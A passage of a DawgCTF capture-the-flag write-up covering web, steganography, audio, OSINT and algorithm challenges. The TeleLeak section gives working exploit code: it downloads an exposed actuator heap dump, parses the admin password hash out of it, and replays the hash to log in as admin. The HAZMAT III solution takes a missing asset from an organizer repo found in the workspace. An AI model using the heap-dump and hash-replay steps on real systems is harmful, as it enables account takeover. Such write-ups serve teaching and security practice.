subprocess.check_output(["zbarimg", "--raw", path], stderr=subprocess.DEVNULL) # zbarimg emits UTF-8 for bytes >= 0x80, so convert back to original byte values return out.decode("utf-8").rstrip("\n").encode("latin1") lines = fetch_lines() png1 = rebuild_first_png(lines) Path("stage1.png").write_bytes(png1) png2 = trim_png(zbar_raw("stage1.png")) Path("stage2.png").write_bytes(png2) payload = zbar_raw("stage2.png").decode() flag = base64.b64decode(payload).decode() print(flag) ``` Running it prints: ``` DawgCTF{1_BL4M3_TH0S3_H4ZM4T_TR5CK3R5} ``` ### TeleLeak #### Description The app exposed Spring Boot Actuator and, critically, `/actuator/heapdump`. The intended bug was that the heap dump leaked live application objects, including the seeded admin account. The login flow hashes the password in JavaScript before sending it, so the stored SHA-256 hex digest is enough to authenticate if it is submitted directly as the `password` form value. #### Solution The solve path was: 1. Download the heap dump from the exposed actuator endpoint. 2. Parse `com/example/TeleLeak/User` instances out of the HPROF. 3. Recover the admin row: * `username = admin` * `role = ROLE_ADMIN` * `password = f374e70b2d71eb7188c0eda0b6a13d47ca5abd681118de48354f003d8af534f5` 4. Submit that leaked hash directly to `/login`. 5. Visit `/admin/dashboard` and read the flag. Download: ```bash curl -sk --http1.1 https://teleleak.umbccd.net/actuator/heapdump -o heapdump.hprof ``` Targeted HPROF extractor: ```python #!/usr/bin/env python3 import struct TYPE_OBJECT = 2 TYPE_BOOLEAN = 4 TYPE_CHAR = 5 TYPE_FLOAT = 6 TYPE_DOUBLE = 7 TYPE_BYTE = 8 TYPE_SHORT = 9 TYPE_INT = 10 TYPE_LONG = 11 PRIM_SIZES = { TYPE_BOOLEAN: 1, TYPE_CHAR: 2, TYPE_FLOAT: 4, TYPE_DOUBLE: 8, TYPE_BYTE: 1, TYPE_SHORT: 2, TYPE_INT: 4, TYPE_LONG: 8, } ROOT_SKIP = { 0xFF: lambda ids: ids, 0x01: lambda ids: ids * 2, 0x02: lambda ids: ids + 8, 0x03: lambda ids: ids + 8, 0x04: lambda ids: ids + 4, 0x05: lambda ids: ids, 0x06: lambda ids: ids + 4, 0x07: lambda ids: ids, 0x08: lambda ids: ids + 8, 0x89: lambda ids: ids, 0x8A: lambda ids: ids, 0x8B: lambda ids: ids, 0x8C: lambda ids: ids, 0x8D: lambda ids: ids, 0x8E: lambda ids: ids + 8, 0x8F: lambda ids: ids, } class Buf: def __init__(self, data: bytes, id_size: int): self.data = data self.i = 0 self.id_size = id_size def read(self, n: int) -> bytes: out = self.data[self.i:self.i + n] self.i += n return out def skip(self, n: int) -> None: self.i += n def u1(self) -> int: out = self.data[self.i] self.i += 1 return out def u2(self) -> int: out = struct.unpack_from(">H", self.data, self.i)[0] self.i += 2 return out def u4(self) -> int: out = struct.unpack_from(">I", self.data, self.i)[0] self.i += 4 return out def ident(self) -> int: if self.id_size != 8: raise ValueError("expected 8-byte HPROF IDs") out = struct.unpack_from(">Q", self.data, self.i)[0] self.i += 8 return out def typed_value(self, tag: int): if tag == TYPE_OBJECT: return self.ident() if tag == TYPE_BOOLEAN: return self.u1() if tag == TYPE_CHAR: return self.u2() if tag == TYPE_FLOAT: out = struct.unpack_from(">f", self.data, self.i)[0] self.i += 4 return out if tag == TYPE_DOUBLE: out = struct.unpack_from(">d", self.data, self.i)[0] self.i += 8 return out if tag == TYPE_BYTE: out = struct.unpack_from(">b", self.data, self.i)[0] self.i += 1 return out if tag == TYPE_SHORT: out = struct.unpack_from(">h", self.data, self.i)[0] self.i += 2 return out if tag == TYPE_INT: out = struct.unpack_from(">i", self.data, self.i)[0] self.i += 4 return out if tag == TYPE_LONG: out = struct.unpack_from(">q", self.data, self.i)[0] self.i += 8 return out raise ValueError(f"unknown type tag {tag}") def record_iter(path): with open(path, "rb") as f: while f.read(1) != b"\x00": pass id_size = struct.unpack(">I", f.read(4))[0] f.read(8) while True: hdr = f.read(9) if not hdr: break tag = hdr[0] length = struct.unpack(">I", hdr[5:9])[0] body = f.read(length) yield tag, body, id_size def hierarchy_fields(class_id, classes, utf8, class_name_ids): chain = [] cur = class_id while cur: chain.append(classes[cur]) cur = classes[cur]["super"] chain.reverse() fields = [] for info in chain: for name_id, type_tag in info["fields"]: fields.append((utf8[name_id], type_tag)) return fields def decode_instance(raw, class_id, classes, utf8, class_name_ids, id_size): buf = Buf(raw, id_size) out = {} for name, type_tag in hierarchy_fields(class_id, classes, utf8, class_name_ids): out[name] = buf.typed_value(type_tag) return out utf8 = {} class_name_ids = {} for tag, body, id_size in record_iter("heapdump.hprof"): if tag == 1: utf8[struct.unpack(">Q", body[:8])[0]] = body[8:].decode("utf-8", "replace") for tag, body, id_size in record_iter("heapdump.hprof"): if tag == 2: _, class_obj_id, _, name_id = struct.unpack(">IQIQ", body) class_name_ids[class_obj_id] = name_id classes = {} user_instances = [] string_instances = {} for tag, body, id_size in record_iter("heapdump.hprof"): if tag not in (0x0C, 0x1C): continue buf = Buf(body, id_size) while buf.i < len(body): sub = buf.u1() if sub in ROOT_SKIP: buf.skip(ROOT_SKIP[sub](id_size)) continue if sub == 0x20: class_obj_id = buf.ident() buf.u4() super_id = buf.ident() buf.ident() buf.ident() buf.ident() buf.ident() buf.ident() buf.u4() cp_count = buf.u2() for _ in range(cp_count): buf.u2() buf.typed_value(buf.u1()) static_count = buf.u2() for _ in range(static_count): buf.ident() buf.typed_value(buf.u1()) fields = [] inst_count = buf.u2() for _ in range(inst_count): fields.append((buf.ident(), buf.u1())) classes[class_obj_id] = {"super": super_id, "fields": fields} elif sub == 0x21: obj_id = buf.ident() buf.u4() class_id = buf.ident() data_len = buf.u4() raw = buf.read(data_len) name = utf8.get(class_name_ids.get(class_id, 0), "") if name == "com/example/TeleLeak/User": user_instances.append((obj_id, class_id, raw)) elif name == "java/lang/String": string_instances[obj_id] = (class_id, raw) elif sub == 0x22: buf.ident() buf.u4() buf.skip(buf.u4() * id_size + id_size) elif sub == 0x23: buf.ident() buf.u4() n = buf.u4() buf.skip(n * PRIM_SIZES[buf.u1()]) elif sub == 0xC3: buf.ident() elif sub == 0xC4: buf.ident() buf.u4() elif sub == 0xC5: buf.ident() else: raise ValueError(f"unknown heap subtag {sub:#x}") needed_strings = set() decoded_users = [] for obj_id, class_id, raw in user_instances: decoded = decode_instance(raw, class_id, classes, utf8, class_name_ids, id_size) decoded_users.append(decoded) for value in decoded.values(): if value in string_instances: needed_strings.add(value) decoded_string_objs = {} needed_arrays = set() string_class_id = next(cid for cid, nid in class_name_ids.items() if utf8[nid] == "java/lang/String") for obj_id in needed_strings: class_id, raw = string_instances[obj_id] decoded = decode_instance(raw, class_id, classes, utf8, class_name_ids, id_size) decoded_string_objs[obj_id] = decoded needed_arrays.add(decoded["value"]) primitive_arrays = {} for tag, body, id_size in record_iter("heapdump.hprof"): if tag not in (0x0C, 0x1C): continue buf = Buf(body, id_size) while buf.i < len(body): sub = buf.u1() if sub in ROOT_SKIP: buf.skip(ROOT_SKIP[sub](id_size)) continue if sub == 0x23: array_id = buf.ident() buf.u4() count = buf.u4() elem_type = buf.u1() raw = buf.read(count * PRIM_SIZES[elem_type]) if array_id in needed_arrays: primitive_arrays[array_id] = (elem_type, raw) elif sub == 0x20: buf.ident() buf.u4() buf.ident() buf.ident() buf.ident() buf.ident() buf.ident() buf.ident() buf.u4() cp_count = buf.u2() for _ in range(cp_count): buf.u2() buf.typed_value(buf.u1()) static_count = buf.u2() for _ in range(static_count): buf.ident() buf.typed_value(buf.u1()) inst_count = buf.u2() for _ in range(inst_count): buf.ident() buf.u1() elif sub == 0x21: buf.ident() buf.u4() buf.ident() buf.skip(buf.u4()) elif sub == 0x22: buf.ident() buf.u4() buf.skip(buf.u4() * id_size + id_size) elif sub == 0xC3: buf.ident() elif sub == 0xC4: buf.ident() buf.u4() elif sub == 0xC5: buf.ident() else: raise ValueError(f"unknown heap subtag {sub:#x}") def resolve_string(obj_id): info = decoded_string_objs[obj_id] elem_type, raw = primitive_arrays[info["value"]] coder = info.get("coder", 0) if elem_type == TYPE_BYTE: return raw.decode("utf-16-be" if coder == 1 else "latin-1", "replace") if elem_type == TYPE_CHAR: return raw.decode("utf-16-be", "replace") raise ValueError("unexpected string backing array") for user in decoded_users: pretty = {} for k, v in user.items(): pretty[k] = resolve_string(v) if v in decoded_string_objs else v if pretty["username"] == "admin": print(pretty) break ``` Running that script printed the seeded admin object: ```python { 'id': 24638324928, 'username': 'admin', 'role': 'ROLE_ADMIN', 'password': 'f374e70b2d71eb7188c0eda0b6a13d47ca5abd681118de48354f003d8af534f5', 'fullName': 'System Administrator' } ``` Then authenticate by sending the leaked hash directly, not the plaintext password: ```bash jar=$(mktemp) csrf=$( curl -sk --http1.1 -c "$jar" -b "$jar" https://teleleak.umbccd.net/login | grep -oP 'name="_csrf" value="\K[^"]+' | head -n1 ) curl -sk --http1.1 -c "$jar" -b "$jar" \ -H 'Content-Type: application/x-www-form-urlencoded' \ -X POST https://teleleak.umbccd.net/login \ --data-urlencode "username=admin" \ --data-urlencode "password=f374e70b2d71eb7188c0eda0b6a13d47ca5abd681118de48354f003d8af534f5" \ --data-urlencode "_csrf=$csrf" \ -i | sed -n '1,12p' curl -sk --http1.1 -b "$jar" https://teleleak.umbccd.net/admin/dashboard ``` That returned: ``` Welcome Admin! Dawgctf{w3b_m3m_Dumpz!} ``` *** ## misc ### An Italian Penguin #### Description The provided file was `attachments/Penguin_Steg.jpg`. The challenge text says the image has something hidden in it and that "the key is the last word." A later hint was: ``` Search up Linux (To make a duplicate + Spaghetti is a type of what?) ``` That clue reads as `copy + pasta`, so the intended search term is `Linux copypasta`. #### Solution First, confirm the image is actually a steghide container: ```bash steghide info attachments/Penguin_Steg.jpg ``` This reports embedded data, so the remaining problem is the passphrase. The hint points to the well-known GNU/Linux copypasta ("I'd just like to interject for a moment..."). The challenge says "the key is the last word", and the last word of that copypasta is `GNU/Linux`. Use that as the steghide password: ```bash printf 'GNU/Linux\n' > results/copypasta_seed.txt stegseek -t 1 attachments/Penguin_Steg.jpg results/copypasta_seed.txt cat Penguin_Steg.jpg.out ``` Equivalent direct extraction: ```bash steghide extract -sf attachments/Penguin_Steg.jpg -p 'GNU/Linux' -xf payload.txt -f cat payload.txt ``` The extracted payload contains the flag: ``` DawgCTF{UmActu@LlYIT$GnUL!nUX} ``` ### Frequency 3000 #### Description The local challenge directory only contained `description.md`, which linked to the actual challenge files on GitHub. That folder contained: * `Space Pilot 3000 Transcript.txt` * `flag.txt` `flag.txt` was not the real flag. It contained hex bytes that decoded to: ``` DawgCTF{ 390 1002 580 1314 191 1589 33 1526 141 762 352 88 1293 379 50 } ``` The challenge hint said the message could be solved by "frequenting" Futurama's pilot episode, so the intended approach was frequency analysis against the pilot transcript. #### Solution Count character frequencies in `Space Pilot 3000 Transcript.txt`, then map each number in the decoded payload to the closest matching character frequency. Several values match exactly: * `390 -> w` * `1002 -> h` * `580 -> y` * `191 -> 0` * `1589 -> t` * `33 -> z` * `141 -> !` * `762 -> d` * `352 -> b` * `88 -> 3` * `50 -> ?` The remaining values are off by only 1-2 from nearby transcript character counts: * `1314 -> n` because `n` appears `1315` times * `1526 -> o` because `o` appears `1528` times * `1293 -> r` because `r` appears `1295` times * `379 -> g` because `g` appears `380` times That reconstructs: ``` whyn0tzo!db3rg? ``` Final flag: ``` DawgCTF{whyn0tzo!db3rg?} ``` Solver used: ```python from collections import Counter from string import ascii_lowercase, digits def load_encoded_numbers(path: str) -> list[int]: ascii_text = bytes.fromhex(open(path, "r", encoding="utf-8").read()).decode() inner = ascii_text.split("{", 1)[1].split("}", 1)[0] return [int(token) for token in inner.split()] def decode_from_frequencies(transcript_path: str, numbers: list[int]) -> str: counts = Counter(open(transcript_path, "r", encoding="utf-8").read().lower()) alphabet = ascii_lowercase + digits + "!?" decoded = [] for number in numbers: decoded.append(min(alphabet, key=lambda ch: (abs(counts[ch] - number), ch))) return "".join(decoded) if __name__ == "__main__": numbers = load_encoded_numbers("flag.txt") message = decode_from_frequencies("Space Pilot 3000 Transcript.txt", numbers) print(f"DawgCTF{{{message}}}") ``` ### Hiding in Plain Sight #### Description We are given a single image, `hello.webp`, and told that something is strange about it. The flag format hint says the answer is the name of the person or object found in the image. #### Solution The file itself was a normal WebP image with no useful metadata or appended payload, so this was not a container-stego challenge. The intended trick was visual: the image hides a recognizable face in plain sight. I first confirmed there was no obvious embedded data: ```bash file attachments/hello.webp exiftool attachments/hello.webp binwalk attachments/hello.webp strings -a -n 6 attachments/hello.webp | head ``` Then I generated a few forensic transforms to make any hidden visual structure easier to see: ```python from PIL import Image, ImageOps, ImageChops, ImageFilter import numpy as np img = Image.open("attachments/hello.webp").convert("RGB") img.save("hello.png") arr = np.array(img) # Grayscale / contrast gray = ImageOps.grayscale(img) gray.save("gray.png") ImageOps.autocontrast(gray).save("gray_autocontrast.png") # Per-channel views for i, name in enumerate(["red", "green", "blue"]): Image.fromarray(arr[:, :, i], mode="L").save(f"{name}.png") ImageOps.autocontrast( Image.fromarray(arr[:, :, i], mode="L") ).save(f"{name}_auto.png") # Low-bit visualization for bits in [1, 2, 3, 4]: low = (arr & ((1 << bits) - 1)) * (255 // ((1 << bits) - 1)) Image.fromarray(low.astype("uint8"), mode="RGB").save(f"low{bits}_bits.png") # High-pass style view blur = gray.filter(ImageFilter.GaussianBlur(radius=8)) ImageOps.autocontrast(ImageChops.difference(gray, blur)).save("highpass.png") # Heavy blur / pixelation to surface the hidden face for r in [8, 16, 32, 48]: img.filter(ImageFilter.GaussianBlur(radius=r)).save(f"blur_{r}.png") small = img.resize( (max(1, img.width // r), max(1, img.height // r)), Image.Resampling.LANCZOS, ).resize(img.size, Image.Resampling.NEAREST) small.save(f"pixel_{r}.png") ``` After applying the filters and inspecting the image as a whole rather than focusing on the fountain/statue details, the hidden face is Barack Obama. So the flag is: ``` DawgCTF{Barack_Obama} ``` ### Beeps and Boops #### Description The challenge provided a note-to-character mapping in `Old_Notes.txt` and a WAV file, `RandomSong.wav`. The obvious intent was to recover a note sequence from the audio, then translate each note through the mapping. The main complication was that the WAV is strongly harmonic, so naive pitch detection often locks onto overtones instead of the fundamental, especially for low notes. A direct decode produced text close to the answer, but not the exact capitalization and leet substitutions. #### Solution The working path was: 1. Read `Old_Notes.txt` as the note-to-character lookup. 2. Notice the audio has about 22 seconds of signal followed by silence. 3. Fit the signal to a regular symbol grid. The best fit was 33 equally spaced symbols at about `0.6645` seconds each, which matches `DawgCTF{...}` length. 4. For each symbol window, compute a spectrum and score every mapped note using a harmonic-comb style scorer. 5. Because low notes were still ambiguous, score whole candidate phrase variants against the per-position note likelihoods instead of trusting per-note top-1 choices. 6. The best-supported candidate was: ``` DawgCTF{N1nT3nD0MaD3ACo0LMacH1n3} ``` Accepted flag: ``` DawgCTF{N1nT3nD0MaD3ACo0LMacH1n3} ``` Solution code used for scoring candidate flags: ```python #!/usr/bin/env python3 import math import wave import numpy as np from scipy.signal import find_peaks NAMES = ["C", "C#", "D", "D#", "E", "F", "F#", "G", "G#", "A", "A#", "B"] def midi_to_name(midi: int) -> str: return f"{NAMES[midi % 12]}{midi // 12 - 1}" def note_freq(midi: int) -> float: return 440.0 * 2 ** ((midi - 69) / 12) char_to_note = {} note_to_char = {} for line in open("Old_Notes.txt"): line = line.strip() if line: note, ch = line.split(" - ") char_to_note[ch] = note note_to_char[note] = ch with wave.open("RandomSong.wav", "rb") as w: sr = w.getframerate() audio = np.frombuffer(w.readframes(w.getnframes()), dtype=np.int16).astype(np.float32) # Active signal is the first ~22 seconds. audio = audio[: int(sr * 22)] # Best-fit regular grid found from spectral-change peaks. period = 0.6645 nseg = 33 seg_char_scores = [] for si in range(nseg): start = int(si * period * sr) end = int(min(len(audio), (si + 1) * period * sr)) x = audio[start:end] * np.hanning(end - start) spec = np.abs(np.fft.rfft(x)) freqs = np.fft.rfftfreq(len(x), 1 / sr) mask = (freqs >= 50) & (freqs <= 5000) spec = spec[mask] freqs = freqs[mask] peaks, _ = find_peaks(spec, distance=max(3, len(spec) // 2000)) top = sorted(peaks, key=lambda j: spec[j], reverse=True)[:30] peak_freqs = freqs[top] peak_mags = spec[top] cscore = {} for midi in range(12, 108): f0 = note_freq(midi) score = 0.0 for f, mag in zip(peak_freqs, peak_mags): h = round(f / f0) if 1 <= h <= 12: err = abs(f - h * f0) / (h * f0) if err < 0.018: score += mag / (h ** 0.75) * (1 - err / 0.018) # The audio is effectively shifted up one octave relative to the intended map. shifted = midi - 12 if 12 <= shifted <= 107: note = midi_to_name(shifted) ch = note_to_char.get(note) if ch is not None: cscore[ch] = max(cscore.get(ch, 0.0), score) seg_char_scores.append(cscore) def score_flag(flag: str) -> float: return sum(math.log(seg_char_scores[i].get(ch, 0.0) + 1.0) for i, ch in enumerate(flag)) candidates = [ "DawgCTF{N1nT3nD0MaD3ACo0LMacH1n3}", "DawgCTF{N1nT3nD0MaD3AC00LMacH1n3}", "DawgCTF{N1nT3nD0M4D3AC00LM4CH1n3}", ] for cand in candidates: print(score_flag(cand), cand) ``` The top-scoring candidate was the accepted flag. ### HAZMAT #### Description "I saw this CRAZY looking truck driving home. Can you figure out what it's carrying?" An image of a highway with a hazmat truck is provided. #### Solution The image shows an **Airgas** tube trailer truck on a highway near UMBC/Catonsville, Maryland. On the rear panel of the truck there is: 1. A **red diamond DOT hazmat placard** with a flame symbol (Class 2.1 - Flammable Gas) containing **UN number 1049** 2. Text below the placard reading **HYDROGEN COMPRESSED** UN 1049 corresponds to "Hydrogen, compressed" in the DOT hazardous materials table. The solution required cropping and enhancing the photo to read the placard number and descriptive text on the rear of the truck, then identifying the material using DOT HAZMAT placard standards. ```python from PIL import Image, ImageEnhance img = Image.open('attachments/IMG_5568.jpg') # 3021x2544 # Crop the truck rear panel area containing the placard placard = img.crop((730, 1700, 1020, 1970)) placard = placard.resize((placard.width*5, placard.height*5), Image.LANCZOS) enhancer = ImageEnhance.Contrast(placard) placard = enhancer.enhance(1.5) enhancer = ImageEnhance.Sharpness(placard) placard = enhancer.enhance(3.0) placard.save('placard_close.jpg') # Reveals: Red diamond with "1049", flame symbol, and text "HYDROGEN COMPRESSED" ``` **Flag:** `DawgCTF{COMPRESSED_HYDROGEN}` ### HAZMAT III #### Description Apparently corporate says I have to deliver this really weird looking green vat somewhere, can you help me figure out what number I should put on my placard when I transport this? Your flag will look like `DawgCTF{5661}.` #### Solution The local challenge directory did not include the image, so I searched the synced organizer repo already present elsewhere in the workspace and recovered the missing asset: * `/home/ubu/ctf/competitions/dawg26/fwn/01_gen_z_found_my_registry/repo/HAZMAT (I,II,III)/HAZMAT III/goop.jpg` The image shows a gray vat filled with fluorescent yellow-green liquid and a label reading `UCARTHERM` and `SEE MSDS`. That identifies the product family as Dow `UCARTHERM` heat-transfer fluid. The fluorescent yellow-green dyed variant matches the Dow/UCARTHERM ethylene-glycol heat-transfer fluid line. The transport information for this fluid lists the DOT bulk identification number as `NA3082`, which is the placard number shown as `3082`. Submitted flag: * `DawgCTF{3082}` ### crazy? i was crazy once! they locked me in a #### Description The challenge source only contained a single file, `crazy.txt`, which repeats the same sentence over and over with progressively more leetspeak substitutions. Each repetition ends with a 3-character fragment after the transformed `it drove me ...` phrase. Those fragments are the flag split into 3-byte chunks, written in reverse chunk order, with each chunk itself reversed. One chunk in the file is inconsistent with the standard DawgCTF prefix, but the intended prefix is obvious and the corrected flag is what the scoreboard accepted. #### Solution Extract the 3-character fragments, reverse the fragment list, then reverse each fragment: ```python #!/usr/bin/env python3 import re from pathlib import Path s = Path("crazy.txt").read_text() pat = re.compile( r"(?:it|1t|17)\s+" r"(?:drove|drov3|dr0v3|\|\)r0v3|\|\)\|20v3)\s+" r"(?:me|m3|/\\\/\\3)\s+" r"(\S{3})(?=\s|$)" ) frags = pat.findall(s) print(frags) decoded = "".join(x[::-1] for x in frags[::-1]) print(decoded) ``` This prints: ``` DawF{iF{i_have_lost_all_control_of_my_life_please_send_help} ``` The entire payload is clearly readable except for the broken prefix chunk. Replacing the malformed prefix with the standard DawgCTF prefix gives the accepted flag: ``` DawgCTF{i_have_lost_all_control_of_my_life_please_send_help} ``` ### Hiding in Plain Sight 2 #### Description We are given a single image, `attachments/ps2.png`, and told that “something here seems a little off.” The flag is the name of the hidden person or object. #### Solution This is an image-steganography challenge. The PNG looks like a normal landscape at first glance, but the low bitplanes contain hidden data. The quickest reliable path was: 1. Split the PNG into RGB channels. 2. Extract each bitplane from each channel. 3. Recombine the least significant bit of each RGB channel into a new RGB image. That LSB composite clearly reveals a hidden portrait of John Cena on the left side of the image, which matches the joke/theme of “hiding in plain sight.” Flag: ``` DawgCTF{John_Cena} ``` Solution code: ```python from pathlib import Path from PIL import Image ROOT = Path(__file__).resolve().parent SRC = ROOT / "attachments" / "ps2.png" OUT = ROOT / "analysis" def save_image(img: Image.Image, name: str) -> None: OUT.mkdir(exist_ok=True) img.save(OUT / name) def main() -> None: img = Image.open(SRC).convert("RGB") r, g, b = img.split() save_image(r, "channel_r.png") save_image(g, "channel_g.png") save_image(b, "channel_b.png") for channel_name, channel in zip("rgb", (r, g, b)): for bit in range(8): plane = channel.point(lambda px, bit=bit: 255 if (px >> bit) & 1 else 0) save_image(plane, f"{channel_name}_bit{bit}.png") rgb_lsb = Image.merge( "RGB", tuple(channel.point(lambda px: 255 if px & 1 else 0) for channel in (r, g, b)), ) save_image(rgb_lsb, "rgb_lsb.png") if __name__ == "__main__": main() ``` Run it with: ```bash python3 solve.py ``` The important output is: ``` analysis/rgb_lsb.png ``` Opening that file reveals John Cena directly. ### ZAP! #### Description The challenge gives three photos of an insulator and points to the NIA suspension catalog. The goal is to identify the correct `ST-*` style number and submit it as `DawgCTF{ST-XXXX}`. #### Solution The object is a porcelain suspension insulator. The NIA catalog made it clear the challenge piece belonged to the 10-inch suspension family around `ST-4625` / `ST-4626`. The useful path was: 1. Compare the shell shape and underside rings against nearby NIA candidates. 2. Read as much of the shell marking as possible from the close-up. 3. Restrict the candidate set to styles whose published NIA markings actually fit what was visible. The challenge photos were: * zap1.jpg * zap2.jpg * zap3.jpg I used a few light crops to make the stamped areas easier to inspect: ```bash mkdir -p derived convert zap/zap1.jpg \ -crop 1800x1800+400+1800 +repage \ -sigmoidal-contrast 6,50% -sharpen 0x1 \ derived/zap1_lower_large.png convert zap/zap3.jpg \ -crop 1700x1700+700+150 +repage \ -colorspace Gray -contrast-stretch 1%x1% \ -sigmoidal-contrast 8,55% -sharpen 0x1 \ derived/zap3_cap_crop.png ``` The important read from the marking was: * `20000` * `LOCKE` * `1840` visible above on the cap area That immediately killed the UK and Lapp branches and left the Locke-family 10-inch styles as the only serious candidates. I then pulled the relevant NIA pages: ```bash for u in st4625 st4626 st4626f; do echo "### $u" curl -L -s "https://www.nia.org/general/suspensions/text/$u.htm" \ | rg -n 'title>|Diameter|LOCKE|\{Locke\}|Additional reports|
  • ' done ``` That gave the key published markings: * `ST-4625` * additional Locke reports: * `LOCKE / year / USA` * `LOCKE / 15000 TEST / 30000 M&E` * `ST-4626` * `LOCKE / 20000 TEST / 10000 M&E // 43 84 / U.S.A.` * `ST-4626F` * `LOCKE / 10000 TEST / 20000 M&E` `ST-4626` looked strongest at first because it contains the exact `LOCKE` + `20000` pair, but that submission was wrong. After that, the best remaining fit was `ST-4626F`: * same 10-inch Locke shell family * same general shell geometry as the challenge piece * still contains the visible `20000` and `LOCKE` * explains why only a partial read from the blurry mark was available Final correct submission: Accepted flag: ``` DawgCTF{ST-4626F} ``` ### ZAP! II #### Description Part II asks for the **model number** of the same insulator from `ZAP! I`. The sample flag format is `DawgCTF{30S255}`. #### Solution The key point was to use the result from `ZAP! I` first: * `ZAP! I` accepted `DawgCTF{ST-4626F}` So the real task in part II was not “guess from the photos again”, but: 1. take the accepted style `ST-4626F` 2. identify what manufacturer/model that style corresponds to 3. submit the Locke model number I pulled the `ST-4626F` style data and reference images: ```bash curl -L -A 'Mozilla/5.0' -s \ 'https://www.nia.org/general/suspensions/text/st4626f.htm' \ -o analysis/st4626f_nia.html curl -k -L -A 'Mozilla/5.0' -s \ 'https://www.allinsulators.com/photos/ST/4500-4749.php' \ -o analysis/allins_page.html rg -n -C 3 'ST-4626F|10000 TEST / 20000 M&E|Locke' analysis/allins_page.html ``` That gave the important published `ST-4626F` entry: * size: `10"` / `254mm` * manufacturer shown: `Locke` * shell marking: `LOCKE / 10000 TEST / 20000 M&E` Then I downloaded the official manufacturer cross-reference and drawings: ```bash curl -L -A 'Mozilla/5.0' -s \ 'https://www.newellporcelain.com/cross-reference-tables/1000/' \ -o analysis/newell.html curl -L -A 'Mozilla/5.0' -s \ 'https://upload.wikimedia.org/wikipedia/commons/9/94/List_of_materials_-_acceptable_for_use_on_systems_of_REA_electrification_borrowers_%28IA_CAT80732032008%29.pdf' \ -o analysis/rea_old.pdf pdftotext -layout analysis/rea_old.pdf - \ | sed -n '1190,1228p' curl -L -A 'Mozilla/5.0' -s \ 'https://powergrid.wpenginepowered.com/wp-content/uploads/sites/3/2021/07/2325230-7001.pdf' \ -o analysis/2325230.pdf curl -L -A 'Mozilla/5.0' -s \ 'https://powergrid.wpenginepowered.com/wp-content/uploads/sites/3/2021/07/2325240-7001.pdf' \ -o analysis/2325240.pdf pdftoppm -png analysis/2325230.pdf analysis/2325230 pdftoppm -png analysis/2325240.pdf analysis/2325240 ``` The useful table from the REA materials list was: * ANSI `52-3` -> Locke `20S840` * ANSI `52-4` -> Locke `20S580` * ANSI `52-5` -> Locke `30S255` * ANSI `52-6` -> Locke `30S257` The deciding step was the hardware type: * `ST-4626F` reference photos show the **ball-and-socket** branch, not the clevis branch * the official `2325230` drawing is the 20k ball-and-socket unit * the official `2325240` drawing is the 20k clevis unit * `ST-4626F` matches the ball-and-socket side, so it maps to the Locke `52-3` family, not `52-4` That leaves the Locke model number: * `20S840` Accepted flag: ``` DawgCTF{20S840} ``` ### HAZMAT II #### Description I saw another crazy looking truck! This one looks even scarier... can you identify the type of storage container being used here? Your answer will look like `DawgCTF{INTERMODAL_CONTAINER}` Hint used: `If you're having trouble finding info, consider that this is clearly in the US, and the US highly regulates what's on that trailer. Also note this is NOT the model of container, but the classification type that the container falls into. It should be concise, so only the name and the word type, e.g "TYPE_QUADRO" or "TITANIUM_TYPE", not "TYPE_CHARLIE_FISSILE" or "FISSILE_TYPE_DOE_UMBRA".` #### Solution The image shows several nuclear-material transport packages on a trailer. Cropping the label on the front of the package makes the important text readable: * `RADIOACTIVE MATERIAL` * `URANIUM HEXAFLUORIDE` * `FISSILE UN 2977` * `MODEL UX-30` * `... TYPE B(U)` The misleading part is `MODEL UX-30`: that is the package model, but the hint explicitly says the flag is **not** the model and instead asks for the **classification type**. For radioactive-material transport in the US, `Type B` is the regulatory package classification. The `U` in `B(U)` is the approval subtype marking, but the actual concise classification name is `Type B`. So the flag is: * `DawgCTF{TYPE_B}` ### Through the Looking Bit #### Description A certain university hosts a mirror. If you interact with it the right way, it will greet you. Just remember: reflections aren't always true. #### Solution The challenge hints at a university mirror (software repository mirror) that should be interacted with "the right way." Since this is DawgCTF (run by UMBC), the target is the **UMBC Linux User's Group mirror** at `mirror.lug.umbc.edu`. **Step 1: Connect via rsync** Connecting with rsync reveals a custom MOTD/banner containing binary digits (0s and 1s) arranged in a circular shape, with a UMBC ASCII art logo in the center: ```bash rsync rsync://mirror.lug.umbc.edu/ ``` The banner contains rows of `0` and `1` characters forming a diamond/ellipse pattern, with the UMBC logo overlaid in the center obscuring some bits. **Step 2: Extract and decode the binary data** The key insight is that the `0` and `1` characters in the banner ARE the data. To decode: 1. Extract only the actual `0`/`1` characters from the banner, ignoring spaces (background padding) and the ASCII logo area 2. Invert all bits (`0` -> `1`, `1` -> `0`) - as hinted by "reflections aren't always true" 3. Read the resulting bitstream as 8-bit ASCII ```python with open('live_banner.txt') as f: banner = f.readlines() # Collect lines that contain binary digits data_lines = [] for line in banner: stripped = line.rstrip('\n') if any(c in '01' for c in stripped): data_lines.append(stripped) # Extract only 0/1 characters, inverted data_bits = [] for line in data_lines: for ch in line: if ch == '0': data_bits.append('1') # invert elif ch == '1': data_bits.append('0') # invert bitstr = ''.join(data_bits) # Decode as 8-bit ASCII text = '' for i in range(0, len(bitstr) - 7, 8): byte = int(bitstr[i:i+8], 2) text += chr(byte) if 32 <= byte <= 126 else '?' print(text) ``` The decoded message is a repeating 34-character string: `DawgCTF{R3ync_1s_b3tt3r_th5n_http}` The bits behind the UMBC logo are simply skipped - since the flag repeats, we have enough visible bits to reconstruct the full message without needing to guess the hidden values. **Flag:** `DawgCTF{R3ync_1s_b3tt3r_th5n_http}` The message "Rsync is better than HTTP" references the fact that the flag was only accessible via the rsync protocol (through the MOTD banner), not through HTTP. ### Mr. Worldwide #### Description The server sends a weighted adjacency matrix for a graph and asks for the `minimum tour distance`. The graph is complete and the correct interpretation is the Traveling Salesman Problem on a closed tour: start at one node, visit every node exactly once, and return to the start. The remote instance is time-sensitive, so a native solver is the safest approach. #### Solution I used Held-Karp dynamic programming for exact TSP. To reduce states, I fixed node `0` as the starting node and only tracked subsets of the other `n-1` nodes. State: `dp[mask][j] = minimum cost to start at node 0, visit exactly the nodes in mask, and end at node j` Transition: `dp[mask | (1 << (k-1))][k] = min(dp[mask][j] + dist[j][k])` Final answer: `min(dp[full_mask][j] + dist[j][0])` Because the server starts timing immediately, I wrote the socket client and solver in the same C++ program so it could parse the matrix, solve it, and reply without shell or subprocess overhead. Solution code: ```cpp #include #include #include #include #include #include using namespace std; static const int INF = 1e9; int tsp(const vector>& a, bool cycle) { int n = (int)a.size(); if (n <= 1) return 0; int m = n - 1; int states = 1 << m; vector dp(states * n, INF); for (int j = 1; j < n; ++j) { dp[((1 << (j - 1)) * n) + j] = a[0][j]; } for (int mask = 1; mask < states; ++mask) { 